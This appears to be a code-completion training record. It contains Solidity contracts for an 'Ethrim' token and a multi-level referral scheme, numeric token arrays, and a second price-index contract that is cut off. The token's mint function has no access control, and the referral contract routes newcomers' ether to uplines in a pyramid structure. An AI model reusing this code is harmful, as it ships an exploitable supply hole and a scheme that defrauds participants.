* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface ERC20 {
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns(bool);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ethrim is ERC20 {
using SafeMath for uint256;
address public owner;
//1 token = 0.01 eth
uint256 public tokenCost = 0.01 ether;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 1e9* 10**18;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
constructor () public {
symbol = "ETRM";
name = "Ethrim";
decimals = 18;
owner = msg.sender;
balances[owner] = totalSupply;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
/**
* @dev To change burnt Address
* @param _newOwner New owner address
*/
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(_newOwner != address(0), "Invalid Address");
owner = _newOwner;
uint256 _value = balances[msg.sender];
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_newOwner] = balances[_newOwner].add(_value);
//minting total supply tokens
return true;
}
function getAmountOfToken(uint256 amount) public view returns (uint256) {
uint256 tokenValue = (amount.mul(10 ** 18)).div(tokenCost);
return tokenValue;
}
/**
* @dev Check balance of the holder
* @param _owner Token holder address
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer token to specified address
* @param _to Receiver address
* @param _value Amount of the tokens
*/
function transfer(address _to, uint256 _value) public override returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from The holder address
* @param _to The Receiver address
* @param _value the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool){
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve respective tokens for spender
* @param _spender Spender address
* @param _value Amount of tokens to be allowed
*/
function approve(address _spender, uint256 _value) public override returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev To view approved balance
* @param _owner Holder address
* @param _spender Spender address
*/
function allowance(address _owner, address _spender) public override view returns (uint256) {
return allowed[_owner][_spender];
}
function mint(uint256 _tokens) public returns (bool) {
balances[owner] = balances[owner].add(_tokens);
totalSupply = totalSupply.add(_tokens);
return true;
}
}
contract Referral {
using SafeMath for uint256;
//user structure
struct UserStruct {
bool isExist;
//unique id
uint256 id;
//person who referred unique id
uint256 referrerID;
//user current level
uint256 currentLevel;
//total eraning for user
uint256 totalEarningEth;
//persons referred
address[] referral;
//time for every level
uint256 levelExpiresAt;
}
//address to tarnsfer eth/2
address payable public ownerAddress1;
//address to tarnsfer eth/2
address payable public ownerAddress2;
//unique id for every user
uint256 public last_uid = 0;
//token variable
Ethrim public ETRM;
//map user by their unique trust wallet address
mapping(address => UserStruct) public users;
//users trust wallet address corresponding to unique id
mapping(uint256 => address) public userAddresses;
/**
* @dev View referrals
*/
function viewUserReferral(address _userAddress) external view returns (address[] memory) {
return users[_userAddress].referral;
}
}
contract ProjectEthrim {
using SafeMath for uint256;
//user structure
struct UserStruct {
bool isExist;
//unique id
uint256 id;
//person who referred unique id
uint256 referrerID;
//user current level
uint256 currentLevel;
//total eraning for user
uint256 totalEarningEth;
//persons referred
address[] referral;
//time for every level
uint256 levelExpiresAt;
}
//levelInecntives
struct incentiveStruct {
uint256 directNumerator;
uint256 inDirectNumerator;
}
//owner who deploys contracts
address public owner;
//address to tarnsfer eth/2
address payable public ownerAddress1;
//address to tarnsfer eth/2
address payable public ownerAddress2;
//unique id for every user
uint256 public last_uid;
//time limit for each level
uint256 public PERIOD_LENGTH = 60 days;
//no of users in each level
uint256 REFERRALS_LIMIT = 5;
//maximum level from 0 to 7
uint256 MAX_LEVEL = 7;
//precenateg denominator- 100= 10000
uint256 public percentageDenominator = 10000;
//token per level i.e, for L1-> 1*25, L2-> 2*25
uint256 tokenPerLevel = 25;
//token variable
Ethrim public ETRM;
//Referral contract address
Referral public OldEthrimObj;
//map user by their unique trust wallet address
mapping(address => UserStruct) public users;
//users trust wallet address corresponding to unique id
mapping(uint256 => address) public userAddresses;
//maps level incentive by level
mapping(uint256 => incentiveStruct) public LEVEL_INCENTIVE;
//check if user not registered previously
modifier userRegistered() {
require(users[msg.sender].isExist == true, "User is not registered");
_;
}
//check if referrer id is invalid or not
modifier validReferrerID(uint256 _referrerID) {
require( _referrerID > 0 && _referrerID <= last_uid, "Invalid referrer ID");
_;
}
//check if user is already registerd
modifier userNotRegistered() {
require(users[msg.sender].isExist == false, "User is already registered");
_;
}
//check if selected level is valid or not
modifier validLevel(uint256 _level) {
require(_level > 0 && _level <= MAX_LEVEL, "Invalid level entered");
_;
}
event RegisterUserEvent(address indexed user, address indexed referrer, uint256 time);
event BuyLevelEvent(address indexed user, uint256 indexed level, uint256 time);
constructor(address payable _ownerAddress1, address payable _ownerAddress2, address _tokenAddr, address payable _oldEthrimAddr) public {
require(_ownerAddress1 != address(0), "Invalid owner address 1");
require(_ownerAddress2 != address(0), "Invalid owner address 2");
require(_tokenAddr != address(0), "Invalid token address");
owner = msg.sender;
ownerAddress1 = _ownerAddress1;
ownerAddress2 = _ownerAddress2;
ETRM = Ethrim(_tokenAddr);
OldEthrimObj = Referral(_oldEthrimAddr);
OldEthrimObj = Referral(_oldEthrimAddr);
last_uid = OldEthrimObj.last_uid();
//20% = 2000
LEVEL_INCENTIVE[1].directNumerator = 2000;
//10% =1000
LEVEL_INCENTIVE[1].inDirectNumerator = 1000;
//10% = 1000
LEVEL_INCENTIVE[2].directNumerator = 1000;
//5% = 500
LEVEL_INCENTIVE[2].inDirectNumerator = 500;
//6.67% = 667
LEVEL_INCENTIVE[3].directNumerator = 667;
//3.34% = 334
LEVEL_INCENTIVE[3].inDirectNumerator = 334;
//5% = 500
LEVEL_INCENTIVE[4].directNumerator = 500;
//2.5% = 1000
LEVEL_INCENTIVE[4].inDirectNumerator = 250;
//4% = 400
LEVEL_INCENTIVE[5].directNumerator = 400;
//2% = 200
LEVEL_INCENTIVE[5].inDirectNumerator = 200;
//3.34% = 334
LEVEL_INCENTIVE[6].directNumerator = 334;
//1.7% = 170
LEVEL_INCENTIVE[6].inDirectNumerator = 170;
//2.86% = 286
LEVEL_INCENTIVE[7].directNumerator = 286;
//1.43% = 143
LEVEL_INCENTIVE[7].inDirectNumerator = 143;
}
/**
* @dev User registration
*/
function registerUser(uint256 _referrerUniqueID) public payable userNotRegistered() validReferrerID(_referrerUniqueID) {
require(msg.value > 0, "ether value is 0");
uint256 referrerUniqueID = _referrerUniqueID;
if (users[userAddresses[referrerUniqueID]].referral.length >= REFERRALS_LIMIT) {
referrerUniqueID = users[findFreeReferrer(userAddresses[referrerUniqueID])].id;
}
last_uid = last_uid + 1;
users[msg.sender] = UserStruct({
isExist: true,
id: last_uid,
referrerID: referrerUniqueID,
currentLevel: 1,
totalEarningEth: 0,
referral: new address[](0),
levelExpiresAt: now.add(PERIOD_LENGTH)
});
userAddresses[last_uid] = msg.sender;
users[userAddresses[referrerUniqueID]].referral.push(msg.sender);
uint256 tokenAmount = getTokenAmountByLevel(1);
require(ETRM.transferFrom(owner, msg.sender, tokenAmount), "token transfer failed");
//get upline level
address userUpline = userAddresses[referrerUniqueID];
//transfer payment to all upline from current upline
transferLevelPayment(userUpline, 1);
emit RegisterUserEvent(msg.sender, userAddresses[referrerUniqueID], now);
}
/**
* @dev View free Referrer Address
*/
function findFreeReferrer(address _userAddress) public view returns (address) {
if (users[_userAddress].referral.length < REFERRALS_LIMIT){
return _userAddress;
}
address[] memory referrals = new address[](254);
referrals[0] = users[_userAddress].referral[0];
referrals[1] = users[_userAddress].referral[1];
referrals[2] = users[_userAddress].referral[2];
referrals[3] = users[_userAddress].referral[3];
referrals[4] = users[_userAddress].referral[4];
address referrer;
for (uint256 i = 0; i < 1048576; i++) {
if (users[referrals[i]].referral.length < REFERRALS_LIMIT) {
referrer = referrals[i];
break;
}
if (i >= 8191) {
continue;
}
//adding pyramid trees
referrals[((i.add(1).mul(5))).add(i.add(0))] = users[referrals[i]].referral[0];
referrals[((i.add(1).mul(5))).add(i.add(1))] = users[referrals[i]].referral[1];
referrals[((i.add(1).mul(5))).add(i.add(2))] = users[referrals[i]].referral[2];
referrals[((i.add(1).mul(5))).add(i.add(3))] = users[referrals[i]].referral[3];
referrals[((i.add(1).mul(5))).add(i.add(4))] = users[referrals[i]].referral[4];
}
require(referrer != address(0), 'Referrer not found');
return referrer;
}
function transferLevelPayment(address _userUpline, uint256 _levelForIncentive) internal {
//ether value
uint256 etherValue = msg.value;
address uplineAddress = _userUpline;
//current upline to be sent money
uint256 uplineLevel = users[uplineAddress].currentLevel;
//upline user level expiry time
uint256 uplineUserLevelExpiry = users[uplineAddress].levelExpiresAt;
//uid
uint256 uplineUID = users[uplineAddress].id;
//incentive amount total
uint256 amountSentAsIncetives = 0;
uint256 count = 1;
while(uplineUID > 0 && count <= 7) {
address payable receiver = payable(uplineAddress);
if(count == 1) {
uint256 uplineIncentive = (etherValue.mul(LEVEL_INCENTIVE[_levelForIncentive].directNumerator)).div(percentageDenominator);
if(now <= uplineUserLevelExpiry && users[uplineAddress].isExist) {
receiver.transfer(uplineIncentive);
users[uplineAddress].totalEarningEth = users[uplineAddress].totalEarningEth.add(uplineIncentive);
} else {
users[uplineAddress].isExist = false;
(ownerAddress1).transfer(uplineIncentive.div(2));
(ownerAddress2).transfer(uplineIncentive.div(2));
}
amountSentAsIncetives = amountSentAsIncetives.add(uplineIncentive);
} else {
uint256 uplineIncentive = (etherValue.mul(LEVEL_INCENTIVE[_levelForIncentive].inDirectNumerator)).div(percentageDenominator);
if(now <= uplineUserLevelExpiry && users[uplineAddress].isExist) {
receiver.transfer(uplineIncentive);
users[uplineAddress].totalEarningEth = users[uplineAddress].totalEarningEth.add(uplineIncentive);
} else {
users[uplineAddress].isExist = false;
(ownerAddress1).transfer(uplineIncentive.div(2));
(ownerAddress2).transfer(uplineIncentive.div(2));
}
amountSentAsIncetives = amountSentAsIncetives.add(uplineIncentive);
}
//get upline level
uint256 uplineReferrerId = users[uplineAddress].referrerID;
uplineAddress = userAddresses[uplineReferrerId];
//level of upline for user
uplineLevel = users[uplineAddress].currentLevel;
uplineUID = users[uplineAddress].id;
count++;
}
uint256 remAmount = msg.value.sub(amountSentAsIncetives);
transferToOwner(remAmount);
}
function buyLevel(uint256 _level) public payable userRegistered() validLevel(_level){
require(msg.value > 0, "ether value is 0");
uint256 userCurrentLevel = users[msg.sender].currentLevel;
require((_level == userCurrentLevel.add(1)) || (userCurrentLevel == 7 && _level == 7), "Invalid level upgrade value");
users[msg.sender].levelExpiresAt = now.add(PERIOD_LENGTH);
users[msg.sender].currentLevel = _level;
uint256 tokenAmount = getTokenAmountByLevel(_level);
require(ETRM.transferFrom(owner, msg.sender, tokenAmount), "token transfer failed");
//get upline user address
address userUpline = userAddresses[users[msg.sender].referrerID];
//transfer payment to all upline from current upline
transferLevelPayment(userUpline, _level);
emit BuyLevelEvent(msg.sender, _level, now);
}
/**
* @dev Contract balance withdraw
*/
function failSafe() public returns (bool) {
require(msg.sender == owner, "only Owner Wallet");
require(address(this).balance > 0, "Insufficient balance");
transferToOwner(address(this).balance);
return true;
}
function transferToOwner(uint256 _amount) internal{
uint256 amount = _amount.div(2);
(ownerAddress1).transfer(amount);
(ownerAddress2).transfer(amount);
}
/**
* @dev Total earned ETH
*/
function getTotalEarnedEther() public view returns (uint256) {
uint256 totalEth;
for (uint256 i = 1; i <= last_uid; i++) {
totalEth = totalEth.add(users[userAddresses[i]].totalEarningEth);
}
return totalEth;
}
/**
* @dev get token amount by level i.e, for L1-> 1*25, L2-> 2*25
*/
function getTokenAmountByLevel(uint256 _level) public view returns (uint256) {
return (_level.mul(tokenPerLevel)).mul(10**18);
}
/**
* @dev View referrals
*/
function viewUserReferral(address _userAddress) external view returns (address[] memory) {
return users[_userAddress].referral;
}
/**
* @dev View level expired time
*/
function viewUserLevelExpired(address _userAddress) external view returns (uint256) {
return users[_userAddress].levelExpiresAt;
}
/**
* @dev Update old contract data
*/
function oldEthrimSync(uint256 limit) public {
require(address(OldEthrimObj) != address(0), "Initialize closed");
require(msg.sender == owner, "Access denied");
uint256 oldUserId = 0;
for (uint256 i = 0; i <= limit; i++) {
UserStruct memory oldUserStruct;
address oldUser = OldEthrimObj.userAddresses(oldUserId);
(oldUserStruct.isExist,
oldUserStruct.id,
oldUserStruct.referrerID,
oldUserStruct.currentLevel,
oldUserStruct.totalEarningEth,
oldUserStruct.levelExpiresAt) = OldEthrimObj.users(oldUser);
users[oldUser].isExist = oldUserStruct.isExist;
users[oldUser].id = oldUserId;
users[oldUser].referrerID = oldUserStruct.referrerID;
users[oldUser].levelExpiresAt = oldUserStruct.levelExpiresAt;
users[oldUser].currentLevel = oldUserStruct.currentLevel;
users[oldUser].totalEarningEth = oldUserStruct.totalEarningEth;
users[oldUser].referral = OldEthrimObj.viewUserReferral(oldUser);
userAddresses[oldUserId] = oldUser;
oldUserId++;
}
}
// fallback
fallback() external payable {
revert("Invalid Transaction");
}
// receive
receive() external payable {
revert("Invalid Transaction");
}
}
|
* @dev get token amount by level i.e, for L1-> 125, L2-> 225/
|
function getTokenAmountByLevel(uint256 _level) public view returns (uint256) {
return (_level.mul(tokenPerLevel)).mul(10**18);
}
| 7,659,541 |
[
1,
588,
1147,
3844,
635,
1801,
277,
18,
73,
16,
225,
364,
511,
21,
2122,
30616,
16,
511,
22,
2122,
28298,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
445,
9162,
6275,
858,
2355,
12,
11890,
5034,
389,
2815,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
5411,
327,
261,
67,
2815,
18,
16411,
12,
2316,
2173,
2355,
13,
2934,
16411,
12,
2163,
636,
2643,
1769,
203,
3639,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.25;
/*******************************************************************************
*
* Copyright (c) 2019 Decentralization Authority MDAO.
* Released under the MIT License.
*
* ZeroPriceIndex - Management system for maintaining the trade prices of
* ERC tokens & collectibles listed within ZeroCache.
*
* Version 19.3.12
*
* https://d14na.org
* [email protected]
*/
/*******************************************************************************
*
* SafeMath
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/*******************************************************************************
*
* ERC Token Standard #20 Interface
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/*******************************************************************************
*
* ApproveAndCallFallBack
*
* Contract function to receive approval and execute function in one call
* (borrowed from MiniMeToken)
*/
contract ApproveAndCallFallBack {
function approveAndCall(address spender, uint tokens, bytes data) public;
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/*******************************************************************************
*
* Owned contract
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/*******************************************************************************
*
* Zer0netDb Interface
*/
contract Zer0netDbInterface {
/* Interface getters. */
function getAddress(bytes32 _key) external view returns (address);
function getBool(bytes32 _key) external view returns (bool);
function getBytes(bytes32 _key) external view returns (bytes);
function getInt(bytes32 _key) external view returns (int);
function getString(bytes32 _key) external view returns (string);
function getUint(bytes32 _key) external view returns (uint);
/* Interface setters. */
function setAddress(bytes32 _key, address _value) external;
function setBool(bytes32 _key, bool _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setInt(bytes32 _key, int _value) external;
function setString(bytes32 _key, string _value) external;
function setUint(bytes32 _key, uint _value) external;
/* Interface deletes. */
function deleteAddress(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
}
/*******************************************************************************
*
* @notice Zero(Cache) Price Index
*
* @dev Manages the current trade prices of ZeroCache tokens.
*/
contract ZeroPriceIndex is Owned {
using SafeMath for uint;
/* Initialize predecessor contract. */
address private _predecessor;
/* Initialize successor contract. */
address private _successor;
/* Initialize revision number. */
uint private _revision;
/* Initialize Zer0net Db contract. */
Zer0netDbInterface private _zer0netDb;
/* Initialize price update notifications. */
event PriceUpdate(
bytes32 indexed dataId,
uint value
);
/* Initialize price list update notifications. */
event PriceListUpdate(
bytes32 indexed listId,
bytes ipfsHash
);
/**
* Set Zero(Cache) Price Index namespaces
*
* NOTE: Keep all namespaces lowercase.
*/
string private _NAMESPACE = 'zpi';
/* Set Dai Stablecoin (trade pair) base. */
string private _TRADE_PAIR_BASE = 'DAI';
/**
* Initialize Core Tokens
*
* NOTE: All tokens are traded against DAI Stablecoin.
*/
string[4] _CORE_TOKENS = [
'0GOLD', // ZeroGold
'0xBTC', // 0xBitcoin Token
'WBTC', // Wrapped Bitcoin
'WETH' // Wrapped Ether
];
/***************************************************************************
*
* Constructor
*/
constructor() public {
/* Set predecessor address. */
_predecessor = 0x0;
/* Verify predecessor address. */
if (_predecessor != 0x0) {
/* Retrieve the last revision number (if available). */
uint lastRevision = ZeroPriceIndex(_predecessor).getRevision();
/* Set (current) revision number. */
_revision = lastRevision + 1;
}
/* Initialize Zer0netDb (eternal) storage database contract. */
// NOTE We hard-code the address here, since it should never change.
_zer0netDb = Zer0netDbInterface(0xE865Fe1A1A3b342bF0E2fcB11fF4E3BCe58263af);
}
/**
* @dev Only allow access to an authorized Zer0net administrator.
*/
modifier onlyAuthBy0Admin() {
/* Verify write access is only permitted to authorized accounts. */
require(_zer0netDb.getBool(keccak256(
abi.encodePacked(msg.sender, '.has.auth.for.zero.price.index'))) == true);
_; // function code is inserted here
}
/**
* THIS CONTRACT DOES NOT ACCEPT DIRECT ETHER
*/
function () public payable {
/* Cancel this transaction. */
revert('Oops! Direct payments are NOT permitted here.');
}
/***************************************************************************
*
* GETTERS
*
*/
/**
* Get Trade Price (Token)
*
* NOTE: All trades are made against DAI stablecoin.
*/
function tradePriceOf(
string _token
) external view returns (uint price) {
/* Initailze hash. */
bytes32 hash = 0x0;
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.', _token, '.', _TRADE_PAIR_BASE
));
/* Retrieve value from Zer0net Db. */
price = _zer0netDb.getUint(hash);
}
/**
* Get Trade Price (Collectible)
*
* NOTE: All trades are made against DAI stablecoin.
*
* An up-to-date trade price index of the TOP 100 collectibles
* listed in the ZeroCache.
* (the complete listing is available via IPFS, see below)
*/
function tradePriceOf(
address _token,
uint _tokenId
) external view returns (uint price) {
/* Initailze hash. */
bytes32 hash = 0x0;
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.', _token, '.', _tokenId
));
/* Retrieve value from Zer0net Db. */
price = _zer0netDb.getUint(hash);
}
/**
* Get Trade Price List(s)
*
* An real-time trade price index of the ZeroCache TOP tokens:
* 1. ERC-20
* 2. ERC-721 (Collectible)
*
* Also, returns the IPFS address(es) to complete
* ERC-721 (Collectible) trade price histories.
*
* Available Price List Ids [sha3 db keys]:
* (prefix = `zpi.ipfs.`)
* 1. ...total [0xd7ea7671063c5fb2c6913499e32dc9fa57ebeaeaea57318fb1c5d85fc2b7bd9a]
* 2. ...erc20.total [0xe2a4d3615b13317181f86cf96dd85e05c8b88398081afe4c28bb7a614cb15d0f]
* 3. ...erc20.top100 [0x6e06845611588cbefd856f969d489fd79dfc0f11bdd8b6c033a386ba5629c7e8]
* 4. ...erc20.top1000 [0xa591401b1b623d8a9e8e5807dbd9a79cd4ede4270274bbabc20b15415a9386e7]
* 5. ...erc721.total [0xe6685143353a7b4ee6f59925a757017f2638c0ed4cb9376ec8e6e37b4995aed2]
* 6. ...erc721.top100 [0xe75054ff8b05a4e8ebaeca5b43579e9f59fb910b50615bd3f225a8fe8c8aea49]
* 7. ...erc721.top1000 [0xdae2a49474830953c576849e09151b23c15dd3f8c4e98fbcd27c13b9f5739930]
*
* NOTE: All trades are made against DAI stablecoin.
*/
function tradePriceList(
string _listId
) external view returns (bytes ipfsHash) {
/* Initailze data id. */
bytes32 dataId = 0x0;
/* Set hash. */
dataId = keccak256(abi.encodePacked(_NAMESPACE, '.ipfs.', _listId));
/* Validate data id. */
if (dataId == 0x0) {
/* Default to `...total`. */
dataId = 0xd7ea7671063c5fb2c6913499e32dc9fa57ebeaeaea57318fb1c5d85fc2b7bd9a;
}
/* Retrun IPFS hash. */
ipfsHash = _zer0netDb.getBytes(dataId);
}
/**
* Trade Price Summary
*
* Retrieves the trade prices for the TOP 100 tokens and collectibles.
*
* NOTE: All trades are made against DAI stablecoin.
*/
function tradePriceSummary(
) external view returns (uint[4] summary) {
/* Initailze hash. */
bytes32 hash = 0x0;
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.0GOLD.', _TRADE_PAIR_BASE
));
/* Retrieve value from Zer0net Db. */
summary[0] = _zer0netDb.getUint(hash);
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.0xBTC.', _TRADE_PAIR_BASE
));
/* Retrieve value from Zer0net Db. */
summary[1] = _zer0netDb.getUint(hash);
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.WBTC.', _TRADE_PAIR_BASE
));
/* Retrieve value from Zer0net Db. */
summary[2] = _zer0netDb.getUint(hash);
/* Set hash. */
hash = keccak256(abi.encodePacked(
_NAMESPACE, '.WETH.', _TRADE_PAIR_BASE
));
/* Retrieve value from Zer0net Db. */
summary[3] = _zer0netDb.getUint(hash);
}
/**
* Get Revision (Number)
*/
function getRevision() public view returns (uint) {
return _revision;
}
/**
* Get Predecessor (Address)
*/
function getPredecessor() public view returns (address) {
return _predecessor;
}
/**
* Get Successor (Address)
*/
function getSuccessor() public view returns (address) {
